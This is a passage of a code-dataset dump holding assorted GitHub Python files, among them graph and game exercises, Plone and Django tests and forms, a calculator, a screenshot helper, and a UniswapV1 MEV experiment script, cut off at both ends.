elif graph.search_v(u, v) is False:\n # Aumentamos o contador de novos voos diretos e inserimos\n # a aresta de u a v para as próximas buscas\n cnt_new_flights += 1\n graph.insert_edge((u,v))\n\n # Por fim, imprimimos na tela o contador com a quantidade de novos\n # voos diretos que a Pingu precisa operar para atingir seu objetivo\n print(f'# de novos voos: {cnt_new_flights}')\n","repo_name":"julio-nf/ufabc-teoria-grafos","sub_path":"problema-3.py","file_name":"problema-3.py","file_ext":"py","file_size_in_byte":4523,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30967948883","text":"# -*- coding: utf-8 -*-\nimport unittest\n\nfrom plone.app.testing import TEST_USER_ID, setRoles\nfrom plone.behavior.interfaces import IBehavior\nfrom zope.component import getUtility\n\nfrom tumpangtanya.inforequest.behaviors.government_agency_info_request import (\n IGovernmentAgencyInfoRequestMarker,\n)\nfrom tumpangtanya.inforequest.testing import ( # noqa\n TUMPANGTANYA_INFOREQUEST_INTEGRATION_TESTING,\n)\n\n\nclass GovernmentAgencyInfoRequestIntegrationTest(unittest.TestCase):\n\n layer = TUMPANGTANYA_INFOREQUEST_INTEGRATION_TESTING\n\n def setUp(self):\n \"\"\"Custom shared utility setup for tests.\"\"\"\n self.portal = self.layer['portal']\n setRoles(self.portal, TEST_USER_ID, ['Manager'])\n\n def test_behavior_government_agency_info_request(self):\n behavior = getUtility(IBehavior, 'tumpangtanya.inforequest.government_agency_info_request')\n self.assertEqual(\n behavior.marker,\n IGovernmentAgencyInfoRequestMarker,\n )\n","repo_name":"Sinar/tumpangtanya.inforequest","sub_path":"src/tumpangtanya/inforequest/tests/test_behavior_government_agency_info_request.py","file_name":"test_behavior_government_agency_info_request.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30428385921","text":"from __future__ import absolute_import, division, print_function\n\n# LIBTBX_SET_DISPATCHER_NAME dev.dials.show_indexed_strong\n\n\ndef show_indexed_strong(indexed_data):\n\n assert \"miller_index\" in indexed_data\n assert \"xyzobs.px.value\" in indexed_data\n\n x_px, y_px, z_px = indexed_data[\"xyzobs.px.value\"].parts()\n mi = indexed_data[\"miller_index\"]\n\n batch = flex.floor(z_px).iround()\n\n for b in range(min(batch), max(batch) + 1):\n sel = batch == b\n print(\"%d %d %d\" % (b, len(batch.select(sel)), len(mi.select(sel))))\n\n return\n\n\ndef show_strong(strong_data):\n\n assert \"xyzobs.px.value\" in strong_data\n\n x_px, y_px, z_px = strong_data[\"xyzobs.px.value\"].parts()\n\n batch = flex.floor(z_px).iround()\n\n for b in range(min(batch), max(batch) + 1):\n sel = batch == b\n print(\"%d %d\" % (b, len(batch.select(sel))))\n\n return\n\n\nif __name__ == \"__main__\":\n from dials.array_family import flex # import dependency\n import sys\n\n if len(sys.argv) != 2:\n sys.exit(\"run with: %s indexed.refl\" % sys.argv[0])\n\n data = flex.reflection_table.from_file(sys.argv[1])\n\n if \"miller_index\" in data:\n show_indexed_strong(data)\n else:\n show_strong(data)\n","repo_name":"dials/dials_scratch","sub_path":"command_line/show_indexed_strong.py","file_name":"show_indexed_strong.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11346494325","text":"from random import randint\r\n\r\n\r\ndef compare(choice, comp_choice):\r\n\tdiff = choice - comp_choice\r\n\r\n\tret = 0\r\n\tif abs(diff) == 1:\r\n\t\tret = 1\r\n\telif abs(diff) == 2:\r\n\t\tret = -1\r\n\tret *= diff and diff/abs(diff)\r\n\r\n\treturn ret\r\n\r\n\r\nchoices_full = ['rock', 'paper', 'scissors']\r\ndef print_outcome(choice, comp_choice, outcome):\r\n\tprint(f'You chose {choices_full[choice]}.')\r\n\tprint(f'Computer chose {choices_full[comp_choice]}.')\r\n\tif outcome == 1:\r\n\t\tprint(\"You won that throw!\")\r\n\telif outcome == -1:\r\n\t\tprint(\"You lost that throw!\")\r\n\telse:\r\n\t\tprint(\"That throw was a tie!\")\r\n\r\n\r\nchoices = ['r', 'p', 's']\r\ndef throw():\r\n\tchoice = 0\r\n\tcont = True\r\n\twhile cont:\r\n\t\ttry:\r\n\t\t\tchoice = choices.index(input(\"Enter your move (r/p/s): \").lower()[0])\r\n\t\t\tcont = False\r\n\t\texcept ValueError:\r\n\t\t\tprint(\"Invalid move. Try again.\")\r\n\t\t\tpass\r\n\r\n\tcomp_choice = randint(0, 2)\r\n\r\n\toutcome = compare(choice, comp_choice)\r\n\r\n\tprint_outcome(choice, comp_choice, outcome)\r\n\tprint()\r\n\r\n\tif outcome == 1:\r\n\t\treturn 1, 0\r\n\telif outcome == -1:\r\n\t\treturn 0, 1\r\n\telse:\r\n\t\treturn 0, 0\r\n\r\n\r\ndef main():\r\n\tmax_wins = 3\r\n\r\n\tp_wins = 0\r\n\tc_wins = 0\r\n\r\n\twhile p_wins < max_wins and c_wins < max_wins:\r\n\t\tp, c = throw()\r\n\t\tif p == 1:\r\n\t\t\tp_wins += 1\r\n\t\telif c == 1:\r\n\t\t\tc_wins += 1\r\n\t\r\n\tif p_wins == max_wins:\r\n\t\tprint(\"You won the game!\")\r\n\telse:\r\n\t\tprint(\"You lost the game!\")\r\n\r\nif __name__ == '__main__':\r\n\tmain()","repo_name":"JustinCWeiler/python-tidbits","sub_path":"rps/rps.py","file_name":"rps.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2260034851","text":"#!/usr/bin/python3\n\"\"\"\nscript that creates the State “California” with the City “San Francisco”\nfrom the database hbtn_0e_100_usa:\n\"\"\"\n\nfrom sys import argv\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom relationship_city import City\nfrom relationship_state import Base, State\n\nif __name__ == \"__main__\":\n \"\"\"\n connect to database and transact\n \"\"\"\n db_uri = 'mysql+mysqldb://{}:{}@localhost:3306/{}'.format(\n argv[1], argv[2], argv[3])\n\n engine = create_engine(db_uri)\n Base.metadata.create_all(engine)\n Session = sessionmaker(bind=engine)\n session = Session()\n\n state = State(name='California')\n city = City(name='San Francisco')\n state.cities.append(city)\n\n session.add(state)\n session.commit()\n session.close()\n","repo_name":"queensk/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/100-relationship_states_cities.py","file_name":"100-relationship_states_cities.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"37484269371","text":"from decimal import *\nfrom fractions import Fraction\n\ngetcontext().prec = 6 # float calculation precise\nop_weight = {op: i for i, op in enumerate(\"+-*/^\")} # the larger, the higher in priority\nop_weight['-'] = op_weight['+']\nop_weight['/'] = op_weight['*']\nop_weight['pos'] = op_weight['neg'] = max(op_weight.values()) + 1\nunary_operators = {\n '-': \"neg\",\n '+': \"pos\",\n}\n\n\ndef f2d(n):\n \"\"\"\n Fraction to Decimal convertion\n :param n: a Number\n :return: Decimal\n \"\"\"\n if isinstance(n, Fraction):\n return Decimal(n.numerator) / Decimal(n.denominator)\n else:\n return Decimal(n)\n\n\ndef parse_word(s: str, idx: int = 0):\n \"\"\"\n parsing words from string s\n :param s: string to be parsed\n :param idx: the starting index number of exception position (like 0-index. 1-index)\n :return: yield words that is parsed\n \"\"\"\n\n int_mode = True # reading int\n num_val = \"\" # the value of parsed number\n value_parsed = False # whether a number is parsed or not\n operator_val = \"\"\n for i, ch in enumerate(s):\n # parse operator\n if any(op.startswith(operator_val + ch) for op in op_weight): # prefix match\n if value_parsed:\n if num_val:\n yield Decimal(num_val)\n num_val = \"\"\n value_parsed = False\n int_mode = True\n yield ch\n\n else: # parsing unary or other long operators\n if ch in unary_operators:\n yield unary_operators[ch]\n else:\n yield ch\n elif ch in '()':\n if value_parsed:\n if num_val:\n yield Fraction(num_val)\n num_val = \"\"\n if ch == '(':\n value_parsed = False\n int_mode = True\n yield ch\n # parse dot\n elif ch == '.':\n # validation\n if not int_mode:\n raise ValueError(\"{} is not a valid digit\".format(num_val + '.'))\n # turn int number into float\n else:\n int_mode = False\n num_val += '.'\n elif ch.isdigit():\n value_parsed = True\n num_val += ch\n else:\n raise ValueError(\"{}:\\t'{}' is invalid\".format(idx + i, ch))\n if num_val:\n yield Decimal(num_val)\n\n\ndef do_operate(op, a, b):\n # operation between Decimal and Fraction is not allowed\n if type(a) != type(b):\n a, b = Fraction(a), Fraction(b)\n\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n a, b = Fraction(a), Fraction(b)\n return Fraction(a, b)\n elif op == \"^\":\n return a ** b\n elif op == \"pos\":\n return a\n elif op == \"neg\":\n return -a\n else:\n raise ValueError(\"operator '{}' not found\".format(op))\n\n\ndef calc(command: str):\n if not command:\n return 0\n val_stack, op_stack = [], []\n for v in parse_word(command):\n if isinstance(v, (Decimal, Fraction)):\n val_stack.append(v)\n elif v in op_weight: # v is an operator\n while (op_stack\n and op_stack[-1] != '('\n and op_weight[v] <= op_weight[op_stack[-1]]):\n\n if op_stack[-1] in unary_operators.values():\n a, b = val_stack.pop(), 0\n else:\n b, a = val_stack.pop(), val_stack.pop()\n val_stack.append(do_operate(op_stack.pop(), a, b))\n op_stack.append(v)\n elif v in \"()\":\n if v == '(':\n op_stack.append(v)\n else:\n while op_stack and op_stack[-1] != '(':\n if op_stack[-1] in unary_operators.values():\n a, b = val_stack.pop(), 0\n else:\n b, a = val_stack.pop(), val_stack.pop()\n val_stack.append(do_operate(op_stack.pop(), a, b))\n if op_stack:\n op_stack.pop()\n else:\n raise ValueError(\"No corresponding '(' on the left\")\n while op_stack:\n if op_stack[-1] in unary_operators.values():\n a, b = val_stack.pop(), 0\n else:\n b, a = val_stack.pop(), val_stack.pop()\n val_stack.append(do_operate(op_stack.pop(), a, b))\n ans = val_stack[0]\n return f2d(ans)\n\n\nif __name__ == \"__main__\":\n print(op_weight)\n from time import time\n\n t1 = time()\n for i in range(100):\n calc(\"9999^9999\")\n print(\"cost time:\", time() - t1, 's')","repo_name":"ArchieMeng/telegram_calc_bot","sub_path":"calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":4698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39644183422","text":"import platform\nfrom PIL import Image\n\noperatingSystem = platform.system()\n\nif operatingSystem == \"Windows\":\n import win32gui\n import win32ui\n import win32con\nelif operatingSystem == \"Darwin\":\n import Quartz.CoreGraphics as CG\n\ndef screenshot(region=None, window=None):\n if operatingSystem == \"Windows\":\n return screenshotWindows(region, window)\n elif operatingSystem == \"Darwin\":\n return screenshotMacOSX(region, window)\n else:\n return screenshotLinux(region, window)\n\ndef screenshotWindows(region, window):\n rect = None\n image = None\n \n if window != None:\n rect = list(win32gui.GetWindowRect(window))\n rect[2] = rect[2] - rect[0]\n rect[3] = rect[3] - rect[1]\n wDC = win32gui.GetWindowDC(window)\n dcObj = win32ui.CreateDCFromHandle(wDC)\n cDC = dcObj.CreateCompatibleDC()\n image = win32ui.CreateBitmap()\n image.CreateCompatibleBitmap(dcObj, rect[2], rect[3])\n cDC.SelectObject(image)\n cDC.BitBlt((0,0),(rect[2], rect[3]) , dcObj, (0,0), win32con.SRCCOPY)\n \n imageInfo = image.GetInfo()\n bpp = imageInfo[\"bmBitsPixel\"]\n pixeldata = image.GetBitmapBits(True)\n \n pImg = None\n if bpp == 32:\n pImg = Image.frombuffer(\"RGBA\", (imageInfo[\"bmWidth\"], imageInfo[\"bmHeight\"]), pixeldata, \"raw\", \"BGRA\")\n elif bpp == 24:\n pImg = Image.frombuffer(\"RGB\", (imageInfo[\"bmWidth\"], imageInfo[\"bmHeight\"]), pixeldata)\n \n # Free Resources\n dcObj.DeleteDC()\n cDC.DeleteDC()\n win32gui.ReleaseDC(window, wDC)\n win32gui.DeleteObject(image.GetHandle())\n \n return pImg\n\ndef screenshotMacOSX(region, window):\n rect = None\n image = None\n \n if window != None:\n windowInfo = CG.CGWindowListCopyWindowInfo(CG.kCGWindowListOptionIncludingWindow, window)\n windowRegion = windowInfo[0][\"kCGWindowBounds\"]\n rect = CG.CGRectMake(windowRegion[\"X\"], windowRegion[\"Y\"], int(16 * round(float(windowRegion[\"Width\"])/16)), windowRegion[\"Height\"])\n image = CG.CGWindowListCreateImage(\n rect,\n CG.kCGWindowListOptionIncludingWindow,\n window,\n CG.kCGWindowImageBoundsIgnoreFraming)\n else:\n if region != None:\n rect = CG.CGRectMake(region[0], region[1], int(16 * round(float(region[2])/16)), region[3])\n else:\n rect = CG.CGRectInfinite\n image = CG.CGWindowListCreateImage(\n rect,\n CG.kCGWindowListOptionOnScreenOnly,\n CG.kCGNullWindowID,\n CG.kCGWindowImageDefault)\n\n bpp = CG.CGImageGetBitsPerPixel(image)\n info = CG.CGImageGetBitmapInfo(image)\n pixeldata = CG.CGDataProviderCopyData(CG.CGImageGetDataProvider(image))\n\n pImg = None\n colorspace = \"RGBA\"\n if bpp == 32:\n alphaInfo = info & CG.kCGBitmapAlphaInfoMask\n # BGRA\n if alphaInfo == CG.kCGImageAlphaPremultipliedFirst or alphaInfo == CG.kCGImageAlphaFirst or alphaInfo == CG.kCGImageAlphaNoneSkipFirst:\n pImg = Image.fromstring(\"RGBA\", (CG.CGImageGetWidth(image), CG.CGImageGetHeight(image)), pixeldata, \"raw\", \"BGRA\")\n # RGBA\n else:\n pImg = Image.fromstring(\"RGBA\", (CG.CGImageGetWidth(image), CG.CGImageGetHeight(image)), pixeldata)\n elif bpp == 24:\n # RGB\n pImg = Image.fromstring(\"RGB\", (CG.CGImageGetWidth(image), CG.CGImageGetHeight(image)), pixeldata)\n\n return pImg\n","repo_name":"tmarrinan/SAGE2NativeStreamer","sub_path":"src/screencapture.py","file_name":"screencapture.py","file_ext":"py","file_size_in_byte":3511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28401398360","text":"from subprocess import Popen, PIPE\nimport matplotlib\nmatplotlib.use('Agg')\nfrom matplotlib import pyplot as plt\nimport sys, os\nfrom copy import deepcopy\nimport pandas as pd\nimport argparse\nimport logging\n#from find_mev_krun_uniswapv2 import reordering_mev\nfrom find_mev_uniswapv1 import reordering_mev\n\n# price in eth\ndef get_price(token, reserves, block):\n weth = '0'\n if token == weth:\n return 1.0\n pre_reserve = reserves[(reserves.Token0 == token) & (reserves.Token1 == weth) & (reserves.Block < int(block))]\n # pre_reserve = pre_reserve.iloc[-1]\n if len(pre_reserve) > 0:\n return (int(pre_reserve.iloc[-1].Reserve1) + 0.0) / (int(pre_reserve.iloc[-1].Reserve0))\n pre_reserve = reserves[(reserves.Token0 == weth) & (reserves.Token1 == token) & (reserves.Block < int(block))]\n # pre_reserve = pre_reserve.iloc[-1]\n if len(pre_reserve) > 0:\n return (int(pre_reserve.iloc[-1].Reserve0) + 0.0) / (int(pre_reserve.iloc[-1].Reserve1))\n return None\n\n\nparser = argparse.ArgumentParser(description='Run UniswapV1 experiments')\n\nparser.add_argument(\n '-v', '--verbose',\n help=\"Be verbose\",\n action=\"store_const\", dest=\"loglevel\", const=logging.INFO,\n default=logging.WARNING\n)\n\nparser.add_argument(\n '-e', '--exchange',\n help=\"uniswapv1\",\n default='uniswapv1'\n)\n\n\nparser.add_argument(\n '-b', '--block',\n help=\"Block number to find MEV in\",\n required=True\n)\n\nparser.add_argument(\n '-d', '--date',\n help=\"Date\",\n required=\"\"\n)\n\nparser.add_argument(\n '-a', '--address',\n nargs='+',\n help=\"pair address\",\n required=True\n\n)\n\nparser.add_argument(\n '-c', '--convergence',\n help=\"collect convervgence data\",\n action=\"store_true\"\n)\n\nparser.add_argument(\n '-p', '--paths',\n help=\"collect paths data to validate\",\n default=\"\"\n)\n\n\nargs = parser.parse_args() \nlogging.basicConfig(level=args.loglevel, format='%(message)s')\n\nlogger = logging.getLogger(__name__)\n\nlogger.info('Block : %s', args.block)\n\nexchange_name = args.exchange\n\naddresses = set(args.address)\n\ndate = args.date\nmonth = date[:7]\n\n\nreserves = pd.read_csv('data-scripts/latest-data/%s-reserves.csv' % (exchange_name), dtype={'Token1': object, 'Token0': object})\n#uniswapv2_pairs = pd.read_csv('data-scripts/latest-data/data/uniswapv2_pairs.csv').set_index('pair')\n\nbalances = {}\ntokens = {}\nprices = {}\n\nfor address in addresses:\n balances[address] = (0,0)\n address_reserves = reserves[(reserves.Address == address)]\n pre_reserve = address_reserves[(address_reserves.Block < int(args.block))]\n if len(pre_reserve) > 0:\n pre_reserve = pre_reserve.iloc[-1]\n balances[address] = (int(pre_reserve.Reserve0), int(pre_reserve.Reserve1))\n token0 = address_reserves.iloc[0].Token0\n token1 = address_reserves.iloc[0].Token1\n tokens[address] = (token0, token1)\n prices[token0] = get_price(token0, reserves, args.block)\n prices[token1] = get_price(token1, reserves, args.block)\n if prices[token0] is None or prices[token1] is None:\n logger.warning(\"unknown prices for %s\", address)\n sys.exit(1)\n\nlogger.info(tokens)\nlogger.info(balances)\n\n\nif exchange_name == 'uniswapv1':\n acc = 'UniswapV1'\n\nidentifier = args.block + '-' + '-'.join([address[:8] for address in addresses])\n \nspec_file = 'experiments/' + identifier + '/bound.k'\noutfile = 'output/'+ identifier +'.out'\n\ntransactions = {}\n\n# if date != \"\":\n# transactions_filepath = 'data-scripts/latest-data/' + exchange_name + '-indexed/' + date + '.csv' \n# pipe = Popen('grep -A 1 \"block ' + args.block + '\" ' + transactions_filepath, shell=True, stdout=PIPE, stderr=PIPE)\n# transactions = associate_address(str(pipe.stdout.read() + pipe.stderr.read(), \"utf-8\"), tokens)\n# else:\n# for address in addresses:\n# transactions_filepath = 'data-scripts/latest-data/' + exchange_name + '-processed/' + address + '.csv'\n# pipe = Popen('grep -A 1 \"block ' + args.block + '\" ' + transactions_filepath, shell=True, stdout=PIPE, stderr=PIPE)\n# transactions[address] = str(pipe.stdout.read() + pipe.stderr.read(), \"utf-8\")\n\nfor address in addresses:\n transactions_filepath = 'data-scripts/latest-data/' + exchange_name + '-processed/' + address + '.csv'\n pipe = Popen('grep -A 1 \"block ' + args.block + '\" ' + transactions_filepath, shell=True, stdout=PIPE, stderr=PIPE)\n transactions[address] = str(pipe.stdout.read() + pipe.stderr.read(), \"utf-8\")\n\n\nlogger.info(transactions)\n\n\n# TODO : check if exists\n# transactions_filepath = 'data-scripts/latest-data/' + exchange_name + '-processed/' + args.address + '.csv'\n\n# pipe = Popen('grep -A 1 \"block ' + args.block + '\" ' + transactions_filepath, shell=True, stdout=PIPE, stderr=PIPE)\n# transactions = pipe.stdout.read() + pipe.stderr.read()\n# transactions = str(transactions, \"utf-8\")\n\ntotal_mev = 0\ntx_ordering_u = []\ntx_ordering_l = []\n\nfor address in addresses:\n mev, u, l = reordering_mev(transactions[address], spec_file, outfile, acc, tokens[address], balances[address], address, prices, args.block, args.convergence)\n total_mev += mev\n tx_ordering_u.append(u)\n tx_ordering_l.append(l)\n\npath_filename = args.paths\n\nif path_filename != '':\n path_f = open(path_filename, 'a') \n path_f.write('{},{},{},{},{}\\n'.format(args.block, total_mev, '1', acc, ','.join(tx_ordering_u)))\n path_f.write('{},{},{},{},{}\\n'.format(args.block, total_mev, '0', acc, ','.join(tx_ordering_l)))\n path_f.close()\n\n","repo_name":"pdaian/mev","sub_path":"run_uniswapv1_experiments.py","file_name":"run_uniswapv1_experiments.py","file_ext":"py","file_size_in_byte":5483,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"67"} +{"seq_id":"25360867151","text":"\"\"\"\nThis file demonstrates two different styles of tests (one doctest and one\nunittest). These will both pass when you run \"manage.py test\".\n\nReplace these with more appropriate tests for your application.\n\"\"\"\n\nfrom django.test import TestCase\nfrom samklang_blog.models import Entry, Category\nfrom django.contrib.auth.models import User\nfrom django.contrib.contenttypes.models import ContentType\n\nfrom datetime import datetime\n\nclass EntryTest(TestCase):\n def test_live_entry(self):\n u = User()\n u.username = \"testuser\"\n u.save()\n c = Category()\n c.slug = \"cat\"\n c.title = \"Cat\"\n c.save()\n e = Entry()\n e.title = \"test\"\n e.slug = \"test\"\n e.body = \"jadda\"\n e.category = c\n e.user = u\n e.pub_date = datetime.now()\n e.save()\n\n f = Entry.live.get(title=\"test\")\n self.assertEqual(e, f)\n\n","repo_name":"sigurdga/samklang-blog","sub_path":"samklang_blog/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"71241908693","text":"tags2id = {'O': 0, 'B-Review': 1, 'I-Review': 2, 'E-Review': 3, 'S-Review': 4,\n 'B-Reply': 1, 'I-Reply': 2, 'E-Reply': 3, 'S-Reply': 4,\n 'B': 1, 'I': 2, 'E': 3, 'S': 4}\ndef spans_to_tags(spans, seq_len):\n tags = [tags2id['O']] * seq_len\n for span in spans:\n tags[span[0]] = tags2id['B']\n tags[span[0]:span[1]+1] = [tags2id['I']] * (span[1]-span[0]+1)\n if span[0] == span[1]:\n tags[span[0]] = tags2id['S']\n else:\n tags[span[0]] = tags2id['B']\n tags[span[1]] = tags2id['E']\n return tags\n\n\ndef get_arg_span(bioes_tags):\n start, end = None, None\n arguments = []\n in_entity_flag = False\n for idx, tag in enumerate(bioes_tags):\n if in_entity_flag == False:\n if tag == 1: # B\n in_entity_flag = True\n start = idx\n elif tag == 4: # S\n start = idx\n end = idx\n arguments.append((start, end))\n start = None\n end = None\n else:\n if tag == 0: # O\n in_entity_flag = False\n start = None\n end = None\n elif tag == 1: # B\n in_entity_flag = True\n start = idx\n elif tag == 3: # E\n in_entity_flag = False\n end = idx\n arguments.append((start, end))\n start = None\n end = None\n elif tag == 4: # S\n in_entity_flag = False\n start = idx\n end = idx\n arguments.append((start, end))\n start = None\n end = None\n return arguments\n\ndef extract_arguments(bioes_list):\n arguments_list = []\n for pred_tags in bioes_list:\n arguments = get_arg_span(pred_tags)\n arguments_list.append(arguments)\n return arguments_list\n\n# def extract_arguments(bio_list):\n# arguments_list = []\n# for pred_tags in bio_list:\n# start, end = None, None\n# arguments = []\n# in_entity_flag = False\n# for idx, tag in enumerate(pred_tags):\n# if in_entity_flag:\n# if tag == 1:\n# end = idx - 1\n# arguments.append((start, end))\n# start = idx\n# end = None\n# elif tag == 0:\n# end = idx - 1\n# arguments.append((start, end))\n# start = None\n# end = None\n# in_entity_flag = False\n# else:\n# if tag == 1:\n# in_entity_flag = True\n# start = idx\n# arguments_list.append(arguments)\n# return arguments_list\n","repo_name":"HLT-HITSZ/MGF","sub_path":"utils/fun.py","file_name":"fun.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"37289677390","text":"n_noticias = int(input())\ncount_v = 0\ncount_f = 0\n\nfor i in range(n_noticias):\n count_v = 0\n URL = str(input())\n s1 = str(input())\n s2 = str(input())\n s3 = str(input())\n s4 = str(input())\n\n if s1 == 'v':\n count_v += 1\n if s2 == 'v':\n count_v += 1\n if s3 == 'v':\n count_v += 1\n if s4 == 'v':\n count_v += 1\n\n if count_v == 0:\n print('{} - certamente falsa'.format(URL))\n count_f += 1\n elif count_v == 1:\n print('{} - provavelmente falsa'.format(URL))\n count_f += 1\n elif count_v == 2:\n print('{} - pode ser falsa'.format(URL))\n elif count_v == 3:\n print('{} - indeterminado'.format(URL))\n elif count_v == 4:\n print('{} - verdadeira'.format(URL))\n\npercentual = (count_f/n_noticias)*100\nprint(\"percentual de notícias falsas {:.1f}\".format(percentual))","repo_name":"diegoCBorba/algoritmos-e-programacao","sub_path":"Provas/2° Prova/Notícias falsas.py","file_name":"Notícias falsas.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72695742933","text":"from django import forms\nfrom django.core.exceptions import PermissionDenied\nfrom django.contrib.auth.models import User\nfrom django.utils.translation import pgettext_lazy\n\nfrom .fields import OverlapActionsField\nfrom .models import mv_odb_org, OrgUnit, OrgUnitDelegate, TimeRange, TeamMember, user_display_name, OMS, ODB_STRUKT\nfrom .config import RuntimeConfig\n\n\nclass DateInput(forms.DateInput):\n input_type = 'date'\n\nclass orgs4wamytmEditForm(forms.ModelForm):\n ko_m = forms.ChoiceField(\n required=True,\n #choices = ODB_STRUKT.objects.SelectList_with_Orgs(),\n label=pgettext_lazy('OrgUnitFilterForm', 'Organizational unit'))\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.fields['ko_m'].choices = ODB_STRUKT.objects.SelectList_with_Orgs()\n\nclass TimeRangeEditForm(forms.ModelForm):\n description = forms.CharField(\n max_length=150,\n required=False,\n label=pgettext_lazy('AddTimeRangeForm', 'Description'))\n part_of_day = forms.ChoiceField(\n help_text=pgettext_lazy(\n 'AddTimeRangeForm', 'Entry can be associated to a part of the day'),\n label=pgettext_lazy('AddTimeRangeForm', 'Partial entry'),\n required=False,\n choices=[\n (None, pgettext_lazy('AddTimeRangeForm', 'Whole day')),\n ('f', pgettext_lazy('AddTimeRangeForm', 'Forenoon')),\n ('a', pgettext_lazy('AddTimeRangeForm', 'Afternoon'))\n ])\n subkind = forms.ChoiceField(\n required=True,\n label=pgettext_lazy('AddTimeRangeForm', 'Kind of time range'),\n choices=RuntimeConfig().TimeRangeChoices)\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n instance = kwargs['instance']\n if instance and instance.data:\n if 'v' in instance.data:\n if TimeRange.DATA_DESCRIPTION in instance.data:\n self.fields['description'].initial = instance.data[TimeRange.DATA_DESCRIPTION]\n if TimeRange.DATA_PARTIAL in instance.data:\n self.fields['part_of_day'].initial = instance.data[TimeRange.DATA_PARTIAL]\n self.fields['subkind'].initial = instance.kind + \"_\"\n\n class Meta:\n model = TimeRange\n fields = ['org', 'start', 'end', 'subkind',\n 'part_of_day', 'description', 'user']\n\n def clean(self):\n super().clean()\n cleaned_data = self.cleaned_data\n complexKind = cleaned_data['subkind']\n cleaned_data['kind'] = complexKind[:1]\n jsondata = {'v': 1}\n if 'description' in cleaned_data and cleaned_data['description'] != '':\n jsondata[TimeRange.DATA_DESCRIPTION] = cleaned_data['description']\n if 'part_of_day' in cleaned_data and cleaned_data['part_of_day'] != '':\n jsondata[TimeRange.DATA_PARTIAL] = cleaned_data['part_of_day']\n self.cleaned_data['data'] = jsondata\n\n def save(self, commit=True):\n instance = super().save(commit=False)\n instance.data = self.cleaned_data['data']\n instance.kind = self.cleaned_data['kind']\n return super().save(commit)\n\n\nclass AddTimeRangeForm(forms.Form):\n \"\"\"\n A form to add a new time range entry.\n \"\"\"\n dateInputAttrs = {\n 'data-provide': 'datepicker',\n 'data-date-calendar-weeks': 'true',\n 'data-date-format': 'yyyy-mm-dd',\n 'data-date-today-highlight': 'true',\n 'data-date-week-start': '1',\n 'data-date-today-btn': 'true'\n }\n required_css_class = 'required'\n user = forms.ChoiceField(\n label=pgettext_lazy('AddTimeRangeForm', 'User'),\n disabled=True,\n required=False)\n start = forms.DateField(\n label=pgettext_lazy('AddTimeRangeForm', 'Start'),\n required=True,\n widget=forms.widgets.DateInput(attrs=dateInputAttrs))\n end = forms.DateField(\n label=pgettext_lazy('AddTimeRangeForm', 'End'),\n required=False,\n help_text=pgettext_lazy('AddTimeRangeForm',\n 'If left blank, it will be set to start date'),\n widget=forms.widgets.DateInput(attrs=dateInputAttrs))\n #orgunit_id = forms.ChoiceField(\n org_id = forms.ChoiceField(\n required=True,\n disabled=False,\n help_text=pgettext_lazy(\n 'AddTimeRangeForm', 'Entry will be visible to this and all organizational units above'),\n label=pgettext_lazy('AddTimeRangeForm', 'Organizational unit'))\n kind = forms.ChoiceField(\n help_text=pgettext_lazy('AddTimeRangeForm', 'kind_help'),\n required=True,\n label=pgettext_lazy('AddTimeRangeForm', 'Kind of time range'))\n description = forms.CharField(\n max_length=150,\n required=False,\n label=pgettext_lazy('AddTimeRangeForm', 'Description'))\n part_of_day = forms.ChoiceField(\n help_text=pgettext_lazy(\n 'AddTimeRangeForm', 'Entry can be associated to a part of the day'),\n label=pgettext_lazy('AddTimeRangeForm', 'Partial entry'),\n required=False,\n choices=[\n (None, pgettext_lazy('AddTimeRangeForm', 'Whole day')),\n ('f', pgettext_lazy('AddTimeRangeForm', 'Forenoon')),\n ('a', pgettext_lazy('AddTimeRangeForm', 'Afternoon'))\n ])\n overlap_actions = OverlapActionsField(\n required=False\n )\n\n def __init__(self, *args, **kwargs):\n self.user = kwargs.pop('user', None)\n self.can_delegate = self.user.orgunitdelegate_set.count() > 0\n super(AddTimeRangeForm, self).__init__(*args, **kwargs)\n self.fields['user'].initial = self.user.id\n self.fields['user'].choices = [(self.user.id, user_display_name(self.user))]\n\n\n #self.fields['orgunit_id'].choices = odb_org.objects.selectListItemsWithAllChoice()\n self.fields['org_id'].choices = mv_odb_org.objects.selectListItemsWithAllChoice()\n M2O_ORG_ID = OMS.objects.getORG_ID(self.user.id)\n if M2O_ORG_ID is not None:\n #self.fields['orgunit_id'].initial = M2O_ORG_ID.M2O_ORG_ID\n self.fields['org_id'].initial = M2O_ORG_ID.m2o_org_id\n #self.fields['orgunit_id'].disabled = True\n self.fields['org_id'].disabled = True\n \n self._setupKindChoices()\n if self.can_delegate:\n userfield = self.fields['user']\n userfield.disabled = False\n userfield.required = True\n #list2 = list(map(lambda u: (u[0], F\"{u[2]}, {u[1]} ({u[3]} 